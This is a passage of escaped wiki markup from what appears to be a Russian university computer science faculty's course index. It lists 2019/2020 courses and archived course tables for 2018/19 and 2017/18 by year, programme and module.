[[Линейная_алгебра_и_геометрия_на_ПМИ_2019/2020_(пилотный_поток) | Линейная алгебра и геометрия на ПМИ (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Линейная_алгебра_и_геометрия_на_ПМИ_2019/2020_(основной_поток) | Линейная алгебра и геометрия на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Основы_и_методология_программирования_1_2019/2020 | Основы и методология программирования-1 на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Основы_и_методология_программирования_1_2019/2020_(пилотный_поток) | Основы и методология программирования-1 на ПМИ (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Discrete_Mathematics_DSBA2019/2020 | Discrete Mathematics DSBA (ПАД)]]&lt;br /&gt;
&lt;br /&gt;
[[Calculus_DSBA2019/2020 | Calculus DSBA (ПАД)]]&lt;br /&gt;
&lt;br /&gt;
[[LAaG_DSBA_2019/2020 | Linear Algebra and Geometry (ПАД)]]&lt;br /&gt;
&lt;br /&gt;
[[Introduction_to_programming_DSBA_2019/2020 | Introduction to Programming (ПАД)]]&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[DM2-basic2019/2020 | Дискретная математика-2 на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[DM2-pilot2019/2020 | Дискретная математика-2 на ПМИ (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Теория_вероятностей_2019/2020_(основной_поток)| Теория_вероятностей_2019/2020 на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Теория_вероятностей_и_математическая_статистика_2019/2020_(пилотный_поток)| ТВиМС (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Математический_анализ_2019/2020_(пилотный_поток) | Математический анализ 2 на ПМИ (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Математический_анализ_2_2019/2020_(основной_поток) | Математический анализ 2 на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Алгоритмы_и_структуры_данных_2_2019/2020 | Алгоритмы и структуры данных – 2 на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
[[Машинное_обучение_1 | Машинное обучение 1 на ПМИ]]&lt;br /&gt;
&lt;br /&gt;
[[Прикладная_статистика_в_машинном_обучении(2019)|Прикладная статистика в машинном обучении]]&lt;br /&gt;
&lt;br /&gt;
[[НИС_РС_1|НИС Распределенные системы]]&lt;br /&gt;
&lt;br /&gt;
[[Theory_of_Computing_2019_2020 | Theory of Computing, AMI]]&lt;br /&gt;
&lt;br /&gt;
[[Компьютерные_Сети | Компьютерные сети]]&lt;br /&gt;
&lt;br /&gt;
[[НИС_Машинное_обучение_и_приложения_2019/2020|НИС Машинное обучение и приложения]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019|Безопасность компьютерных систем]]&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
[[InfTheo2019-2020|Теория информации]]&lt;br /&gt;
&lt;br /&gt;
[[НИС_РС_2|НИС Распределенные системы 2]]&lt;br /&gt;
&lt;br /&gt;
[[НИС_Машинное_обучение_и_приложения_2019/2020|НИС Машинное обучение и приложения]]&lt;br /&gt;
&lt;br /&gt;
[[Байесовские_методы_машинного_обучения_2019|Байесовские методы машинного обучения]]&lt;br /&gt;
&lt;br /&gt;
[[НИС Науки о данных]]&lt;br /&gt;
&lt;br /&gt;
[[Философия_науки_2019|Философия науки]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2018|Безопасность компьютерных систем]]&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
[[MinorBioinformatics|Биоинформатика]]&lt;br /&gt;
&lt;br /&gt;
[[Майнор Интеллектуальный анализ данных/Современные_методы_машинного_обучения | Современные методы машинного обучения (ИАД)]]&lt;br /&gt;
&lt;br /&gt;
[[KotlinElective|Факультатив &amp;quot;Язык Kotlin&amp;quot; (2-3 модули)]]&lt;br /&gt;
&lt;br /&gt;
[[ISDElective|Факультатив &amp;quot;Методы разработки программного обеспечения&amp;quot; (1-2 модули)]]&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Курсы магистратуры ФКН ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Дисциплина !! Образовательная программа !! Курс&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
| [[Theory_of_Computing_2019_2020 | Theory of Computing]] || Науки о данных, специализация ТИ || 1 курс&lt;br /&gt;
|-&lt;br /&gt;
| [[Project_Seminar_2019_2020 | Проектный семинар специализации ТИ]] || Науки о данных, специализация ТИ || 1 курс&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Курсы в рамках проекта [https://www.hse.ru/dataculture/ Data Culture]==&lt;br /&gt;
=== 1 семестр ===&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Дисциплина !! Образовательная программа !! Курс !! Модули &lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
| [[ Основы анализа и визуализация данных для медиа 2019/2020 |  Основы анализа и визуализации данных для медиа  ]] || Журналистика || 4 курс || 1 модуль&lt;br /&gt;
|-&lt;br /&gt;
| [[ Анализ данных в Python 2019-2020 |  Анализ данных в Python  ]] || Политология || 4 курс || 1-2 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[ Основы анализа данных в международных отношениях |  Основы анализа данных в международных отношениях  ]] || Международные отношения || 2 курс || 1-2 модуль&lt;br /&gt;
|-&lt;br /&gt;
| [[Основы программирования в Python (Политология)|Основы программирования в Python]] || Политология || 3 курс || 1-2 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Основы программирования на Python осень 2019 матфак|Основы программирования на Python-1]] || Математика || 1-4 курс || 1-2 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[ Цифровая грамотность (История 2019) |  Цифровая грамотность  ]] || История || 1 курс || 1-2 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[ Цифровая грамотность (Востоковедение 2019) |  Цифровая грамотность  ]] || Востоковедение|| 1 курс || 1-2 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[ Цифровая_грамотность_2019-2020(философия) |  Цифровая грамотность  ]] || Философия || 1 курс || 1-2 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[ПМСАР-2_2019| Методы анализа больших данных в исследованиях поведения покупателей]] || Прикладные методы социального анализа рынков || 2 г.о. || 1-2 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Работа с данными]] || Медиакоммуникации || 4 курс || 1 модуль&lt;br /&gt;
|-&lt;br /&gt;
| [[Машинное обучение (фэн 2019)]] || ФЭН || 3 курс || 1-2 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Natural_Language_Processing_Blended_2019_module1 | Natural Language Processing (blended)]] || Прикладная политология || 2 г.о. || 1 модуль&lt;br /&gt;
|-&lt;br /&gt;
| [[ ML_HSE_NES_2019 | Машинное обучение (ВШЭ-РЭШ)]] || Совместный бакалавриат ВШЭ-РЭШ || 3-4 курс || 1-2 модули&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=Архив=&lt;br /&gt;
== Курсы за 2018/19 учебный год ==&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! 1 курс !! 2 курс !! 3 курс !! 4 курс  !! майноры и факультативы&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
[[Математический_анализ_на_ПМИ_2018/2019_(пилотный_поток) | Математический анализ на ПМИ (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Математический_анализ_на_ПМИ_2018/2019_(основной_поток) | Математический анализ на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Calculus_DSBA_2018/2019 | Calculus I DSBA (ПАД)]]&lt;br /&gt;
&lt;br /&gt;
[[Основы_и_методология_программирования_на_ПМИ_2018/2019_(пилотный_поток) | Основы и методология программирования на ПМИ (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Основы_и_методология_программирования_на_ПМИ_2019_(С%2B%2B,_основной_поток) | Основы и методология программирования на ПМИ (С++, основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Линейная_алгебра_и_геометрия_на_ПМИ_2018/2019_(пилотный_поток) | Линейная алгебра и геометрия на ПМИ (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Линейная_алгебра_и_геометрия_на_ПМИ_2018/2019_(основной_поток) | Линейная алгебра и геометрия на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[LAaG_DSBA_2018/2019 | LAaG DSBA]]&lt;br /&gt;
&lt;br /&gt;
[[Дискретная_математика_1_2018/2019 | Дискретная математика-1 на ПМИ]]&lt;br /&gt;
&lt;br /&gt;
[[Discrete_Mathematics_DSBA2018/2019 |Discrete Mathematics DSBA (ПАД)]]&lt;br /&gt;
&lt;br /&gt;
[[Introduction_to_programming | Introduction to programming DSBA (ПАД)]]&lt;br /&gt;
&lt;br /&gt;
[[Introduction_to_programming_2 | Introduction to programming 2 DSBA (ПАД)]]&lt;br /&gt;
&lt;br /&gt;
[[Алгебра_на_ПМИ_2018/2019_(пилотный_поток) | Алгебра на ПМИ (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Алгебра_на_ПМИ_2018/2019_(основной_поток) | Алгебра на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Algebra_DSBA_2018/2019 | Algebra DSBA]]&lt;br /&gt;
&lt;br /&gt;
[http://hsealgebra19.wikidot.com Алгебра на ПИ]&lt;br /&gt;
&lt;br /&gt;
[[Алгоритмы_и_структуры_данных_2018/2019 | Алгоритмы и структуры данных на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Алгоритмы_и_структуры_данных_2018/2019 (пилотный поток) | Алгоритмы и структуры данных на ПМИ (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
[http://math-info.hse.ru/s18/t Дифференциальные уравнения]&lt;br /&gt;
&lt;br /&gt;
[[Теория_вероятностей_2018/2019_(основной_поток) | Теория вероятностей на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Теория_вероятностей_2018/2019_(пилотный_поток) | Теория вероятностей на ПМИ (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Математический_анализ_2018/2019_(пилотный_поток) | Математический анализ 2 на ПМИ (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Математический_анализ_2018/2019_(основной_поток) | Математический анализ 2 на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[DM2-pilot2018/2019 | Дискретная математика-2 на ПМИ (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[DM2-basic2018/2019 | Дискретная математика-2 на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Алгоритмы_и_структуры_данных_2_2018/2019 | Алгоритмы и структуры данных – 2 на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Факультатив  Теория вычислений]]&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
[[Машинное_обучение_1/2018_2019 | Машинное обучение 1 на ПМИ]]&lt;br /&gt;
&lt;br /&gt;
[[Машинное_обучение_2 | Машинное обучение 2 на ПМИ]]&lt;br /&gt;
&lt;br /&gt;
[[Численные_Методы_2018 | Численные методы ]]&lt;br /&gt;
&lt;br /&gt;
[[PDC | Параллельные и распределенные вычисления]]&lt;br /&gt;
&lt;br /&gt;
[[Theory_of_Computing_2018_2019 | Theory of Computing, AMI]]&lt;br /&gt;
&lt;br /&gt;
[[НИС_Машинное_обучение_и_приложения_2018/2019|НИС Машинное обучение и приложения]]&lt;br /&gt;
&lt;br /&gt;
[[Прикладная_статистика_в_машинном_обучении(2018)|Прикладная статистика в машинном обучении]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2018|Безопасность компьютерных систем]]&lt;br /&gt;
&lt;br /&gt;
[[НИС_РС|НИС Распределенные системы]]&lt;br /&gt;
&lt;br /&gt;
[[Основные методы анализа данных]]&lt;br /&gt;
&lt;br /&gt;
[[Теория баз данных]]&lt;br /&gt;
&lt;br /&gt;
[[Непрерывная оптимизация/2019|Непрерывная оптимизация (161-162)]]&lt;br /&gt;
&lt;br /&gt;
[[Непрерывная оптимизация (163-167)]]&lt;br /&gt;
&lt;br /&gt;
[[Сложность вычислений и логика в теоретической информатике]]&lt;br /&gt;
&lt;br /&gt;
[[Data analysis (Software Engineering) 2019|Data analysis]]&lt;br /&gt;
&lt;br /&gt;
[[Анализ данных в бизнесе 2019|Анализ данных в бизнесе на ПМИ ]]&lt;br /&gt;
&lt;br /&gt;
[[Intro to DL Blended | Intro to DL Blended]]&lt;br /&gt;
&lt;br /&gt;
[[Дискретная оптимизация 2019 | Дискретная оптимизация 2019]]&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
[[Statistical_learning_theory_2018_2019 | Introduction to statistical learning theory]]&lt;br /&gt;
&lt;br /&gt;
[[Анализ_неструктурированных_данных-2018 |Анализ неструктурированных данных ]]&lt;br /&gt;
&lt;br /&gt;
[[Байесовские_методы_машинного_обучения_2018|Байесовские методы машинного обучения]]&lt;br /&gt;
&lt;br /&gt;
[[НИС_Машинное_обучение_и_приложения_2018/2019|НИС Машинное обучение и приложения]]&lt;br /&gt;
&lt;br /&gt;
[[НИС_Науки_о_данных_2018/2019|НИС Науки о данных]]&lt;br /&gt;
&lt;br /&gt;
[[НИС_Распределенные_системы_(4_курс,_2018)|НИС Распределенные системы]]&lt;br /&gt;
&lt;br /&gt;
[[Теория_Информации_2018/2019|Теория информации]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2018|Безопасность компьютерных систем]]&lt;br /&gt;
&lt;br /&gt;
[[Методы_и_системы_обработки_больших_данных_(осень_2018)|Методы и системы обработки больших данных]]&lt;br /&gt;
&lt;br /&gt;
[[Философия_науки_2018|Философия науки]]&lt;br /&gt;
&lt;br /&gt;
[[Теория баз данных]]&lt;br /&gt;
&lt;br /&gt;
[[ConvAppr19 | Выпуклое программирование и аппроксимационные алгоритмы (ТИ)]]&lt;br /&gt;
&lt;br /&gt;
[[Функциональное программирование 2019 | Функциональное программирование]]&lt;br /&gt;
&lt;br /&gt;
[[A_Theorist&#039;s_Toolkit_2018_2019 | A Theorist&#039;s Toolkit, AMI]]&lt;br /&gt;
&lt;br /&gt;
[[Анализ данных в бизнесе 2019|Анализ данных в бизнесе на ПМИ ]]&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
[[Дополнительные главы теории вероятностей 2019 | Дополнительные главы теории вероятностей 2019]]&lt;br /&gt;
&lt;br /&gt;
[[Дополнительные главы математической статистики 2019 | Дополнительные главы математической статистики 2019]]&lt;br /&gt;
&lt;br /&gt;
[[Введение в программирование (курс майнора) 2018/2019]]&lt;br /&gt;
&lt;br /&gt;
[[dopglavy_DM_1819|Допглавы дискретной математики]]&lt;br /&gt;
&lt;br /&gt;
[[Современные_методы_машинного_обучения_(курс_майнора)_2018/2019 | Современные методы машинного обучения (курс майнора) 2018/2019]]&lt;br /&gt;
&lt;br /&gt;
[[Прикладные_задачи_анализа_данных_(майнор_-_весна_2019) | Прикладные задачи анализа данных (майнор - весна 2019)]]&lt;br /&gt;
&lt;br /&gt;
[[Майнор Интеллектуальный анализ данных/Введение в анализ данных | Введение в анализ данных (курс майнора)]]&lt;br /&gt;
&lt;br /&gt;
[[Функциональный анализ (весна_2019) | Функциональный анализ (весна_2019)]]&lt;br /&gt;
&lt;br /&gt;
[[KotlinElective| Язык Kotlin (3 и 4 модули 2018-2019)]]&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Курсы в рамках проекта [https://www.hse.ru/dataculture/ Data Culture]==&lt;br /&gt;
=== 2 семестр ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Дисциплина !! Образовательная программа !! Курс !! Модули &lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
| [[Основы программирования на Python весна 2019 матфак|Основы программирования на Python-2]] || Математика || 2-4 курс || 3-4 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Цифровая_грамотность_(филология)|Цифровая грамотность]] || Филология || 1 курс || 3-4 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Цифровая_грамотность_(ИИ_и_культурология)|Цифровая грамотность]] || История искусств и Культурология || 1 курс || 3-4 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Цифровая_грамотность_(ИЯМК_2019)|Цифровая грамотность]] ||  Иностранные языки и межкультурная коммуникация (ДИЯ) || 1 курс || 3-4 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Основы_анализа_и_визуализации_данных_ДИЯ_2019|Анализ и визуализации данных]] ||  Иностранные языки и межкультурная коммуникация (ДИЯ) || 2 курс || 3-4 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Научно-исследовательский_семинар_2019| Научно-исследовательский семинар]] ||  Политология || 1 курс || 3 модуль&lt;br /&gt;
|-&lt;br /&gt;
| [[ММО_Политология_201810|Методы машинного обучения]] || Прикладная политология || 1 г.о. || 2-3 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Основы_программирования_в_Python_2019|Основы программирования в Python]] || Мировая экономика || 2 курс || 3-4 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Программирование_и_компьютерные_инструменты_лингвистического_исследования|Программирование и компьютерные инструменты лингвистического исследования]] || Фундаментальная и компьютерная лингвистика || 1 курс || 1-4 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Компьютерная лингвистика и информационные технологии|Компьютерная лингвистика и информационные технологии]] || Фундаментальная и компьютерная лингвистика || 4 курс || 1-3 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[ПМСАР-1|Автоматизированный сбор больших данных в экономико-социологических исследованиях]] || Прикладные методы социального анализа рынков  || 2 г.о.  || 3-4 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Искусственный интеллект и большие данные_(2019)|Искусственный интеллект и большие данные]] || Дизайн, Мода, Современное искусство || 1 курс || 3-4 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Информационный менеджмент: Введение в Data Science|Информационный менеджмент: Введение в Data Science]] || Управление бизнесом &amp;lt;br&amp;gt; Маркетинг и рыночная аналитика || 1 курс || 4 модуль&lt;br /&gt;
|-&lt;br /&gt;
| [[Технологии анализа больших данных|Технологии анализа больших данных]] || ГМУ || 1 курс || 4 модуль&lt;br /&gt;
|-&lt;br /&gt;
| [[Основы программирования на Python (Прикладное программное обеспечение)|Основы программирования на Python (Прикладное программное обеспечение)]] || Социология || 1 курс || 4 модуль&lt;br /&gt;
|-&lt;br /&gt;
| [[Основы работы с данными|Основы работы с данными]] || Медиакоммуникации || 2 курс || 4 модуль&lt;br /&gt;
|-&lt;br /&gt;
| [[Введение_в_data_science_Социология_1_курс|Профориентационный семинар (Data Culture)]] || Социология || 1 курс || 4 модуль&lt;br /&gt;
|-&lt;br /&gt;
| [[Введение_в_анализ_данных_МирЭк_2019|Введение в анализ данных]] || Мировая экономика || 1 курс || 4 модуль&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== 1 семестр ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Дисциплина !! Образовательная программа !! Курс !! Модули &lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
| [[Основы анализа данных в международных отношениях 2018/2019|Основы анализа данных в международных отношениях]] || Международные отношения || 2 курс || 1-2 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Introduction_to_Data_Culture_2018-2019|Introduction to Data Culture]] || Программа двух дипломов НИУ ВШЭ и Лондонского университета &amp;quot;Международные отношения&amp;quot; || 1 курс || 2 модуль&lt;br /&gt;
|-&lt;br /&gt;
| [[Программирование_и_компьютерные_инструменты_лингвистического_исследования|Программирование и компьютерные инструменты лингвистического исследования]] || Фундаментальная и компьютерная лингвистика || 1 курс || 1-4 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Цифровая грамотность(востоковедение)|Цифровая грамотность]] || Востоковедение || 1 курс || 1 модуль&lt;br /&gt;
|-&lt;br /&gt;
| [[Разработка управленческих решений в маркетинге | Разработка управленческих решений в маркетинге]] || Маркетинг и рыночная аналитика || 2 курс || 1-2 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Информационные технологии в деятельности юриста_2018-2019| Информационные технологии в деятельности юриста]] || Юриспруденция || 1 курс || 2 модуль&lt;br /&gt;
|-&lt;br /&gt;
| [[Машинное обучение на матфаке 2018/2019| Машинное обучение]] || Факультет математики || 2-4 курсы || 1-2 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[ПМСАР-2| Методы анализа больших данных в исследованиях поведения покупателей]] || Прикладные методы социального анализа рынков || 2 г.о. || 1-2 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Анализ данных в Python (Политологи 1 семестр 1-2 модули)|Анализ данных в Python]] || Политология || 4 курс || 1-2 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Основы анализа и визуализации данных для медиа (Журналисты 1 семестр 1 модуль)|Основы анализа и визуализации данных для медиа]] || Журналистика || 4 курс || 1 модуль&lt;br /&gt;
|-&lt;br /&gt;
| [[Компьютерная лингвистика и информационные технологии|Компьютерная лингвистика и информационные технологии]] || Фундаментальная и компьютерная лингвистика || 4 курс || 1-3 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Введение в анализ текстов на Python для ФГН 2018|Введение в анализ текстов на Python для ФГН 2018]] || Фундаментальная и компьютерная лингвистика || 3 курс || 1, 2, 4 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Машинное обучение (ФЭН)]] || Факультет экономических наук || 3-4 курсы || 1-2 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Программирование_(python)_для_экономистов|Программирование (Python) для экономистов]] || Факультет экономических наук || 2 курс || 1-2 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Цифровая грамотность(философия)|Цифровая грамотность]] || Философия || 1 курс || 1-2 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Цифровая_грамотность_(историки)|Цифровая грамотность]] || История || 1 курс || 1-2 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Обработка и анализ данных физического эксперимента|Обработка и анализ данных физического эксперимента]] || Физика || 2 курс || 1-2 модули&lt;br /&gt;
|-&lt;br /&gt;
| [[Статистический анализ в среде R (Социологи 1 семестр 2 модуль)|Статистический анализ в среде R ]] || Социология || 4 курс || 2 модуль&lt;br /&gt;
|-&lt;br /&gt;
| [[ММО_Политология_201810|Методы машинного обучения]] || Прикладная политология || 1 г.о. || 2-3 модули&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Courses of the  Statistical Learning Theory program==&lt;br /&gt;
[[Neurobayesian_models_2019|Neurobayesian models]]&lt;br /&gt;
&lt;br /&gt;
== Курсы за 2017/18 учебный год ==&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! 1 курс !! 2 курс !! 3 курс !! 4 курс  !! майноры и факультативы&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
[[Математический_анализ_на_ПМИ_2017/2018_(пилотный_поток) | Математический анализ на ПМИ 2017/2018 (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Математический_анализ_на_ПМИ_2017/2018_(основной_поток) | Математический анализ на ПМИ 2017/2018 (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Основы_и_методология_программирования_на_ПМИ_2017/2018_(пилотный_поток,_1_модуль) | Основы и методология программирования на ПМИ 2017/2018 (пилотный поток, 1 модуль)]]&lt;br /&gt;
&lt;br /&gt;
[[Основы_и_методология_программирования_на_ПМИ_2017/2018_(основной_поток,_2_модуль) | Основы и методология программирования на ПМИ 2017/2018 (основной поток, 2 модуль)]]&lt;br /&gt;
&lt;br /&gt;
[[Основы_и_методология_программирования_на_ПМИ_2017/2018_(основной_поток,_3_модуль) | Основы и методология программирования на ПМИ 2017/2018 (основной поток, 3 модуль)]]&lt;br /&gt;
&lt;br /&gt;
[[Алгоритмы_и_структуры_данных_на_ПМИ_2017/2018_(основной_поток) | Алгоритмы и структуры данных на ПМИ 2017/2018 (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Линейная_алгебра_и_геометрия_на_ПМИ_2017/2018_(пилотный_поток) | Линейная алгебра и геометрия на ПМИ (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Линейная_алгебра_и_геометрия_на_ПМИ_2017/2018_(основной_поток) | Линейная алгебра и геометрия на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Дискретная_математика_1_2017/2018 | Дискретная математика-1 на ПМИ]]&lt;br /&gt;
&lt;br /&gt;
[[Алгоритмы и структуры данных 1  | Алгоритмы и структуры данных – 1 (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Алгебра_на_ПМИ_2017/2018 | Алгебра на ПМИ]]&lt;br /&gt;
&lt;br /&gt;
[http://hsealgebra18.wikidot.com Алгебра на ПИ]&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
[[Теория_вероятностей_2017/2018_(основной_поток) | Теория вероятностей на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Теория_вероятностей_2017/2018_(пилотный_поток) | Теория вероятностей на ПМИ (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Математический анализ-3 на ПМИ_2017/2018_(основной_поток) | Математический анализ-2 на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Математический анализ на ПМИ_2017/2018 | Математический анализ-3 на ПМИ (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[DM2-pilot2017/2018 | Дискретная математика-2 на ПМИ (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[DM_2_2017_2018 | Дискретная математика-2 на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Алгоритмы и структуры данных_2_2017/2018 | Алгоритмы и структуры данных – 2 на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Дифференциальные уравнения (2 курс, 2017/2018)| Дифференциальные уравнения]]&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
[[Машинное_обучение_1/2017_2018 | Машинное обучение 1 на ПМИ]]&lt;br /&gt;
&lt;br /&gt;
[[Машинное_обучение_2/2017_2018 | Машинное обучение 2 на ПМИ]]&lt;br /&gt;
&lt;br /&gt;
[[Численные_методы_2017 | Численные методы]]&lt;br /&gt;
&lt;br /&gt;
[[Statistics of Stochastic Processes|Статистика случайных процессов 2018]] &lt;br /&gt;
&lt;br /&gt;
[[Прикладная_статистика_в_машинном_обучении | Прикладная статистика в машинном обучении]]&lt;br /&gt;
&lt;br /&gt;
[[Theory_of_Computing | Theory of Computing, AMI]]&lt;br /&gt;
&lt;br /&gt;
[[Statistical_learning_theory | Introduction to statistical learning theory]]&lt;br /&gt;
&lt;br /&gt;
[[Основные_методы_анализа_данных_(специализация_АДИС) | Основные методы анализа данных на ПМИ]]&lt;br /&gt;
&lt;br /&gt;
[[Анализ неструктурированных данных]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность компьютерных систем 2017 | Безопасность компьютерных систем]]&lt;br /&gt;
&lt;br /&gt;
[[НИС_Распределенные_системы_(3_курс,_2017) | НИС Распределенные системы]]&lt;br /&gt;
&lt;br /&gt;
[[НИС_Машинное_обучение_и_приложения_2017/2018 | НИС Машинное обучение и приложения]]&lt;br /&gt;
&lt;br /&gt;
[[Непрерывная_оптимизация | Непрерывная оптимизация]]&lt;br /&gt;
&lt;br /&gt;
[[ Сложность_и_логика|  Сложность вычислений и логика в теоретической информатике]]&lt;br /&gt;
&lt;br /&gt;
[[Data_analysis_(Software_Engineering)_2018 | Data Analysis на ПИ]]&lt;br /&gt;
&lt;br /&gt;
[http://telegra.ph/Kurs-Vvedenie-v-OOP-VSHEH-2018-Modul-3-01-30 Введение в ООП]&lt;br /&gt;
&lt;br /&gt;
[http://wiki.cs.hse.ru/Машинное_обучение_на_больших_данных Машинное обучение на больших данных]&lt;br /&gt;
&lt;br /&gt;
[[Дискретная_оптимизация | Дискретная оптимизация]]&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
[[Безопасность компьютерных систем 2017 | Безопасность компьютерных систем]]&lt;br /&gt;
&lt;br /&gt;
[[Философия_науки_2017 | Философия науки]]&lt;br /&gt;
&lt;br /&gt;
[[НИС_Распределенные_системы_(4_курс,_2017) | НИС Распределенные системы]]&lt;br /&gt;
&lt;br /&gt;
[[НИС_Машинное_обучение_и_приложения_2017/2018 | НИС Машинное обучение и приложения]]&lt;br /&gt;
&lt;br /&gt;
[[Анализ неструктурированных данных]]&lt;br /&gt;
